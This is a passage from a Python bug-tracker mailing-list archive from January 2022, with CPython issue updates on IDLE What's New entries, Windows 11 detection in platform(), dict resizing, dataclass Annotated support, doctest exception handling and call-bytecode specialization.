04:12:55 +0000 Subject: [issue41846] IDLE subsection of What's New 3.10 In-Reply-To: <1600871542.4.0.618379951214.issue41846@roundup.psfhosted.org> Message-ID: <1643170375.01.0.204668278542.issue41846@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +29085 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30906 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 23:50:02 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 26 Jan 2022 04:50:02 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1643172602.77.0.415788369476.issue41844@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 7cf285d82ec722d4225297366013e924805171f2 by Terry Jan Reedy in branch 'main': bpo-41844: Update IDLE part of What's New 3.9 to 20228 (GH-30905) https://github.com/python/cpython/commit/7cf285d82ec722d4225297366013e924805171f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 23:50:02 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 04:50:02 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1643172602.54.0.437797574856.issue41844@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29086 pull_request: https://github.com/python/cpython/pull/30908 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 23:50:06 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 04:50:06 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1643172606.86.0.534743327667.issue41844@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29087 pull_request: https://github.com/python/cpython/pull/30909 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 23:51:14 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 26 Jan 2022 04:51:14 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument In-Reply-To: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> Message-ID: <1643172674.85.0.207778155733.issue46527@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 00:05:27 2022 From: report at bugs.python.org (Eryk Sun) Date: Wed, 26 Jan 2022 05:05:27 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643173527.73.0.205584009929.issue45382@roundup.psfhosted.org> Eryk Sun added the comment: > sys.getwindowsversion() which exposes GetVersionEx() looks fine to me. In Windows 8+, sys.getwindowsversion() returns a version that can vary from 6.2.9200 (Windows 8) up to the actual OS version. It depends on the OS versions supported by the application manifest -- with 6.2.9200 used when there's no application manifest. The platform module uses the shell's VER command because it returns the real OS version. The version number for Windows 11 is 10.0.22000+. The platform module misreports this as Windows 10. In msg403452, I suggested a modification to use build numbers. In msg404451 Steve said we may as well use the WMI result to identify Windows 11 based on the OS caption. If we use WMI, we can choose to rely on wmic.exe (deprecated), PowerShell, or implement our own code in C/C++. > I don't understand why we have to handle XML or JSON and encoding... Using JSON or XML (ElementTree) isn't required, if you'd rather parse human-readable output. AFAIK, the Win32_OperatingSystem caption is always ASCII. In general, wmic.exe writes output text to a pipe that's encoded with the system OEM code page. pwsh.exe, powershell.exe, and cmd.exe write output text to a pipe (from their internal commands/cmdlets) that's encoded using the console's output code page. cmd.exe also supports a /U option to use UTF-16. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 00:11:03 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 05:11:03 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1643173863.07.0.0934470050384.issue41844@roundup.psfhosted.org> miss-islington added the comment: New changeset 8356f6aac2fc41cab44159574f5d8fd5fdf95a63 by Miss Islington (bot) in branch '3.10': bpo-41844: Update IDLE part of What's New 3.9 to 20228 (GH-30905) https://github.com/python/cpython/commit/8356f6aac2fc41cab44159574f5d8fd5fdf95a63 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 00:15:09 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 05:15:09 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1643174109.77.0.847260148891.issue41844@roundup.psfhosted.org> miss-islington added the comment: New changeset f8a805bde1ff4679c2824ced4a28437da61b1506 by Miss Islington (bot) in branch '3.9': bpo-41844: Update IDLE part of What's New 3.9 to 20228 (GH-30905) https://github.com/python/cpython/commit/f8a805bde1ff4679c2824ced4a28437da61b1506 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 00:23:37 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 26 Jan 2022 05:23:37 +0000 Subject: [issue33205] GROWTH_RATE prevents dict shrinking In-Reply-To: <1522670151.04.0.467229070634.issue33205@psf.upfronthosting.co.za> Message-ID: <1643174617.21.0.997207944603.issue33205@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 01:00:06 2022 From: report at bugs.python.org (Martin Panter) Date: Wed, 26 Jan 2022 06:00:06 +0000 Subject: [issue46517] Review exception handling in urllib In-Reply-To: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> Message-ID: <1643176806.61.0.671246343754.issue46517@roundup.psfhosted.org> Martin Panter added the comment: The linked code is for urllib.parse.urlencode, looking something like try: if len(query) and not isinstance(query[0], tuple): raise TypeError except TypeError: ty, va, tb = sys.exc_info() raise TypeError("not a valid non-string sequence " "or mapping object").with_traceback(tb) I guess it raises twice so that the error message is not duplicated in the code. The author probably also wants the TypeError initially raised from the "len(query)" and "query[0]" operations to get the same "not a valid . . ." message. Regarding the OSError, originally it was catching socket.error and raising IOError. I guess someone only wanted the caller to have catch IOError and not need to import the socket module. Later these exception types became aliases of each other. Anyway, the URLopener class is documented as deprecated, so is it really worth changing anything in that? ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 01:09:21 2022 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 Jan 2022 06:09:21 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument In-Reply-To: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> Message-ID: <1643177361.0.0.271800794292.issue46527@roundup.psfhosted.org> Change by Dong-hee Na : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 02:04:48 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 07:04:48 +0000 Subject: [issue41846] IDLE subsection of What's New 3.10 In-Reply-To: <1600871542.4.0.618379951214.issue41846@roundup.psfhosted.org> Message-ID: <1643180688.34.0.329775739182.issue41846@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +29088 pull_request: https://github.com/python/cpython/pull/30907 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 02:07:51 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 07:07:51 +0000 Subject: [issue46517] Review exception handling in urllib In-Reply-To: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> Message-ID: <1643180871.32.0.51691028715.issue46517@roundup.psfhosted.org> Irit Katriel added the comment: > The author probably also wants the TypeError initially raised from the "len(query)" and "query[0]" operations to get the same "not a valid . . ." message. I see. I didn?t realise it?s deprecated, I guess we?ll leave it alone then. Thanks. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 02:15:31 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 07:15:31 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643181331.81.0.97619315778.issue46511@roundup.psfhosted.org> Gregory Beauregard added the comment: Thanks for getting back so quickly. Annotated is set up to be 'transparent' by default to `typing.get_type_hints` so in the case of using `typing.py` it can be made straightforward by chaining with `typing.get_origin`, I think. I don't see any reasonable way to do the regex that allows `Annotated` to be renamed, so I agree your suggested restriction. I think the regex would be something like this: ^\s*(?:(?:\w+\s*\.)?\s*Annotated\[)?(?:\s*(\w+)\s*\.)?\s*(\w+) I'm a bit worried people who are into Annotated annotations might be concerned about line length and more likely to rename `Annotated`, but I don't know if this is a realistic concern. And a part of me wants to say always importing typing.py should be okay since dataclasses was designed to work with type hints after all. On the other hand, I'm also a bit worried that if we made dataclasses always import typing.py it would rub people the wrong way even if we profiled it and decided it was okay. I'm going to spend some more time digesting the code tomorrow and try to decide if there's any major speed bumps to a full `typing` approach. I'll also look at import time and such. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 02:19:09 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 07:19:09 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643181549.79.0.889908962658.issue46511@roundup.psfhosted.org> Gregory Beauregard added the comment: Or rather, ^\s*(?:(?:\w+\s*\.)?\s*Annotated\s*\[)?(?:\s*(\w+)\s*\.)?\s*(\w+) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:07:28 2022 From: report at bugs.python.org (Alex Zaslavskis) Date: Wed, 26 Jan 2022 08:07:28 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1643173527.73.0.205584009929.issue45382@roundup.psfhosted.org> Message-ID: Alex Zaslavskis added the comment: The quick research on web gived me that C/C++ developers will just get the build version and compare it with predefined list. See more there: https://docs.microsoft.com/answers/questions/672988/c-detect-windows-build.html ??, 26 ???. 2022 ?., 05:05 Eryk Sun : > > Eryk Sun added the comment: > > > sys.getwindowsversion() which exposes GetVersionEx() looks fine to me. > > In Windows 8+, sys.getwindowsversion() returns a version that can vary > from 6.2.9200 (Windows 8) up to the actual OS version. It depends on the OS > versions supported by the application manifest -- with 6.2.9200 used when > there's no application manifest. The platform module uses the shell's VER > command because it returns the real OS version. > > The version number for Windows 11 is 10.0.22000+. The platform module > misreports this as Windows 10. In msg403452, I suggested a modification to > use build numbers. In msg404451 Steve said we may as well use the WMI > result to identify Windows 11 based on the OS caption. If we use WMI, we > can choose to rely on wmic.exe (deprecated), PowerShell, or implement our > own code in C/C++. > > > I don't understand why we have to handle XML or JSON and encoding... > > Using JSON or XML (ElementTree) isn't required, if you'd rather parse > human-readable output. AFAIK, the Win32_OperatingSystem caption is always > ASCII. > > In general, wmic.exe writes output text to a pipe that's encoded with the > system OEM code page. pwsh.exe, powershell.exe, and cmd.exe write output > text to a pipe (from their internal commands/cmdlets) that's encoded using > the console's output code page. cmd.exe also supports a /U option to use > UTF-16. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:08:14 2022 From: report at bugs.python.org (Alex Zaslavskis) Date: Wed, 26 Jan 2022 08:08:14 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643184494.56.0.339820930844.issue45382@roundup.psfhosted.org> Alex Zaslavskis added the comment: The quick research on web gived me that C/C++ developers will just get the build version and compare it with predefined list. See more there: https://docs.microsoft.com/answers/questions/672988/c-detect-windows-build.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:09:06 2022 From: report at bugs.python.org (Matt Wozniski) Date: Wed, 26 Jan 2022 08:09:06 +0000 Subject: [issue35829] datetime: parse "Z" timezone suffix in fromisoformat() In-Reply-To: <1548445007.56.0.14925163397.issue35829@roundup.psfhosted.org> Message-ID: <1643184546.67.0.359981705862.issue35829@roundup.psfhosted.org> Matt Wozniski added the comment: I agree with Brett. Adding `allow_z` (or perhaps `compact` or `use_utc_designator` if we're bikeshedding) as an optional keyword only argument to `.isoformat()` would allow us to keep the explanation that what `.fromisoformat()` can parse is exactly what `.isoformat()` can produce, while giving a feature to `.fromisoformat()` that many have asked for and that would have minimal overhead in terms of code complexity or runtime performance. Would you accept a PR that implements that, Paul? ---------- nosy: +godlygeek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:20:08 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 26 Jan 2022 08:20:08 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1643156985.86.0.167165849051.issue45382@roundup.psfhosted.org> Message-ID: Marc-Andre Lemburg added the comment: On 26.01.2022 01:29, Eryk Sun wrote: > > Eryk Sun added the comment: > >> Bit wmic seems nice solution. >> Is still working for windows lower than 11? > > wmic.exe is still included in Windows 10 and 11, but it's officially deprecated [1], which means it's no longer being actively developed, and it might be removed in a future update. PowerShell is the preferred way to use WMI. All of these require shelling out to the OS, so why not stick to `ver` as we've done in the past. This has existed for ages and will most likely not disappear anytime soon. Is there a good reason to prefer wmic or PowerShell (which are less likely to be available or reliable) ? > --- > [1] https://docs.microsoft.com/en-us/windows/deployment/planning/windows-10-deprecated-features -- Marc-Andre Lemburg eGenix.com ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:39:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 08:39:08 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() Message-ID: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several important cases that are missing from current `repr()` tests of `typing.Union` and `typing.Optional`: 1. This condition is not covered at all: `if args[0] is type(None):` https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/typing.py#L1236 3. `repr()` of `Union[str, None]` is not directly tested as well 3. `repr()` of `Union` with more that 2 parameters with `None` is not covered. This is an important corner case because of this condition: `if len(args) == 2:` https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/typing.py#L1235 I will send a PR with new assertions. ---------- components: Tests messages: 411715 nosy: gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Improve test coverage of `Union` and `Optional` repr() type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:39:19 2022 From: report at bugs.python.org (Karolina Surma) Date: Wed, 26 Jan 2022 08:39:19 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643186359.12.0.44160909731.issue44734@roundup.psfhosted.org> Change by Karolina Surma : ---------- nosy: +ksurma nosy_count: 4.0 -> 5.0 pull_requests: +29089 pull_request: https://github.com/python/cpython/pull/30910 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:40:06 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 08:40:06 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643186406.04.0.7673553748.issue46529@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29090 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30911 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:53:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 08:53:17 +0000 Subject: [issue24398] Update test_capi to use test.support.script_helper In-Reply-To: <1433614432.33.0.0607159967244.issue24398@psf.upfronthosting.co.za> Message-ID: <1643187197.65.0.398069196978.issue24398@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +sobolevn nosy_count: 2.0 -> 3.0 pull_requests: +29091 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30912 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:54:49 2022 From: report at bugs.python.org (Inada Naoki) Date: Wed, 26 Jan 2022 08:54:49 +0000 Subject: [issue33205] GROWTH_RATE prevents dict shrinking In-Reply-To: <1522670151.04.0.467229070634.issue33205@psf.upfronthosting.co.za> Message-ID: <1643187289.46.0.573932463378.issue33205@roundup.psfhosted.org> Inada Naoki added the comment: We do not have *fill* since Python 3.6. There is a `dk_nentries` instead. But when `insertion_resize()` is called, `dk_nentries` is equal to `USABLE_FRACTION(dk_size)` (dk_size is `1 << dk_log2_size` for now). So it is different from *fill* in the old dict. I chose `dk_used*3` as GROWTH_RATE because it reserves more spaces when there are dummies than when there is no dummy, as I described in the same comment: > In case of dict growing without deletion, dk_size is doubled for each resize as current behavior. > When there are deletion, dk_size is growing aggressively than Python 3.3 (used*2 -> used*3). And it allows dict shrinking after massive deletions. For example, when current dk_size == 16 and USABLE_FRACTION(dk_size) == 10, new dk_size is: * used = 10 (dummy=0) -> 32 (31.25%) * used = 9 (dummy=1) -> 32 (28.125%) (snip) * used = 6 (dummy=4) -> 32 (18.75%) * used = 5 (dummy=5) -> 16 (31.25%) * used = 4 (dummy=6) -> 16 (25%) (snip) * used = 2 (dummy=8) -> 8 (25%) As you can see, dict is more sparse when there is dummy than when there is no dummy, except used=5/dummy=5 case. There may be a small room for improvement, especially for `used=5/dummy=5` case. But I am not sure it is worth enough to use more complex GROWTH_RATE than used*3. Any good idea? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:02:03 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 09:02:03 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` Message-ID: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now here's how `test_get_clock_info` looks like: ``` def test_get_clock_info(self): clocks = ['monotonic', 'perf_counter', 'process_time', 'time'] for name in clocks: info = time.get_clock_info(name) #self.assertIsInstance(info, dict) self.assertIsInstance(info.implementation, str) self.assertNotEqual(info.implementation, '') self.assertIsInstance(info.monotonic, bool) self.assertIsInstance(info.resolution, float) # 0.0 < resolution <= 1.0 self.assertGreater(info.resolution, 0.0) self.assertLessEqual(info.resolution, 1.0) self.assertIsInstance(info.adjustable, bool) ``` It tests for out of five possible arguments to `time.get_clock_info`. Docs: https://docs.python.org/3/library/time.html#time.get_clock_info `'thread_time'` is missing for some reason. I think we should add it to the test. Link: https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/test/test_time.py#L559 PR is incoming. ---------- components: Tests messages: 411717 nosy: sobolevn priority: normal severity: normal status: open title: `'thread_time'` is missing from `test_get_clock_info` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:03:56 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 09:03:56 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643187836.33.0.70305444769.issue46530@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29092 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30913 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:03:58 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 09:03:58 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643187838.22.0.111433784844.issue46513@roundup.psfhosted.org> miss-islington added the comment: New changeset 6e5a193816e1bdf11f5fb78d620995fd6987ccf8 by Christian Heimes in branch 'main': bpo-46513: Remove AC_C_CHAR_UNSIGNED / __CHAR_UNSIGNED__ (GH-30851) https://github.com/python/cpython/commit/6e5a193816e1bdf11f5fb78d620995fd6987ccf8 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:04:44 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 26 Jan 2022 09:04:44 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643187884.98.0.0424328559372.issue46513@roundup.psfhosted.org> Petr Viktorin added the comment: Yeah, that looks like it's for some long-forgotten compiler that didn't implement `signed char` at all. 1994 was a fun time, apparently. ---------- nosy: -miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:06:09 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 09:06:09 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643187969.1.0.2772579057.issue46513@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +29093 pull_request: https://github.com/python/cpython/pull/30914 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:07:01 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 09:07:01 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643188021.94.0.411423492144.issue46513@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +29094 pull_request: https://github.com/python/cpython/pull/30915 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:42:50 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 09:42:50 +0000 Subject: [issue46531] Simplify exception handling in `doctest.py` Message-ID: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now there are two places where `sys.exc_info()` calls are not required anymore: 1. https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1352-L1353 2. https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L2640-L2641 There are also places where it is exposed as a part of public API (I am not going to change that, at least in this PR): - https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1757 - https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1262 And some private APIs (out of scope as well): - https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L244 PR is on its way! ---------- components: Library (Lib) messages: 411720 nosy: iritkatriel, sobolevn priority: normal severity: normal status: open title: Simplify exception handling in `doctest.py` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:44:06 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 09:44:06 +0000 Subject: [issue46531] Simplify exception handling in `doctest.py` In-Reply-To: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> Message-ID: <1643190246.98.0.963716763747.issue46531@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29095 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30916 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:44:43 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 Jan 2022 09:44:43 +0000 Subject: [issue46532] Improve effeciency of PRECALL/CALL instructions Message-ID: <1643190282.99.0.74296903316.issue46532@roundup.psfhosted.org> New submission from Mark Shannon : The PRECALL/CALL bytecode pair for calls is new (still in review at time of writing) and is not as efficient as it could be. Some possible improvements are: Transfer refcount of func when making a frame. NULL call_shape.kwnames after use instead of in PRECALL, as many specialized instructions already assert that it is NULL. Specialize the PRECALL instructions. Either for simple cases like `type(arg)` so we can skip the CALL, or for complex cases like `PythonClass(args)` where PRECALL can create object, and set up the frame so that `CALL` calls the __init__ function. ---------- assignee: Mark.Shannon messages: 411721 nosy: Mark.Shannon priority: normal severity: normal status: open title: Improve effeciency of PRECALL/CALL instructions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:49:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 09:49:11 +0000 Subject: [issue46531] Simplify exception handling in `doctest.py` In-Reply-To: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> Message-ID: <1643190551.36.0.00583486323181.issue46531@roundup.psfhosted.org> Irit Katriel added the comment: I don't think this is worth doing in a module where we can't completely get rid of the exc_info triplet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:54:04 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 Jan 2022 09:54:04 +0000 Subject: [issue46532] Improve effeciency of PRECALL/CALL instructions In-Reply-To: <1643190282.99.0.74296903316.issue46532@roundup.psfhosted.org> Message-ID: <1643190844.82.0.445644160156.issue46532@roundup.psfhosted.org> Mark Shannon added the comment: Possibly consider replacing the specializations for `str(arg)` and `tuple(arg)` with a more general bytecode that can be used for other objects as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:55:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 09:55:30 +0000 Subject: [issue46531] Simplify exception handling in `doctest.py` In-Reply-To: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> Message-ID: <1643190930.21.0.680234636341.issue46531@roundup.psfhosted.org> Irit Katriel added the comment: In other words, I don't see why it's an improvement to replace exception = sys.exc_info() by exception = type(exc), exc, exc.__traceback__ when sys.exc_info() does exactly what your inlined version does. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:01:18 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 Jan 2022 10:01:18 +0000 Subject: [issue46533] Specialize for staticmethods and classmethods Message-ID: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org> New submission from Mark Shannon : Calls of the form `x.m(args)` where either `x = X` or x = X()` and X is a class, and `m` is a classmethod or staticmethod are not currently specialized. Typically the `x.m()` will translate to: LOAD_FAST x LOAD_METHOD "m" PRECALL_METHOD 0 CALL 0 Since classmethods and staticmethods are descriptors, only the LOAD_METHOD should need specializing. The PRECALL/CALL will be able to handle the resulting values without modification. ---------- messages: 411725 nosy: Mark.Shannon, kj priority: normal severity: normal status: open title: Specialize for staticmethods and classmethods _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:05:56 2022 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 Jan 2022 10:05:56 +0000 Subject: [issue45578] Missing tests for the dis module In-Reply-To: <1634926558.7.0.911953252083.issue45578@roundup.psfhosted.org> Message-ID: <1643191556.16.0.0882444210875.issue45578@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 84f093918a4be663775afe2933f4be86f72fe495 by Nikita Sobolev in branch 'main': bpo-45578: add a test case for `dis.findlabels` (GH-30058) https://github.com/python/cpython/commit/84f093918a4be663775afe2933f4be86f72fe495 ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:06:16 2022 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 Jan 2022 10:06:16 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1643191576.02.0.234771455417.issue43698@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset b9d8980d89bfaa4bf16d60f0488adcc9d2cbf5ef by Nikita Sobolev in branch 'main': bpo-43698: do not use `...` as argument name in docs (GH-30502) https://github.com/python/cpython/commit/b9d8980d89bfaa4bf16d60f0488adcc9d2cbf5ef ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:06:19 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 10:06:19 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1643191579.26.0.058146618821.issue43698@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +29096 pull_request: https://github.com/python/cpython/pull/30917 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:06:24 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 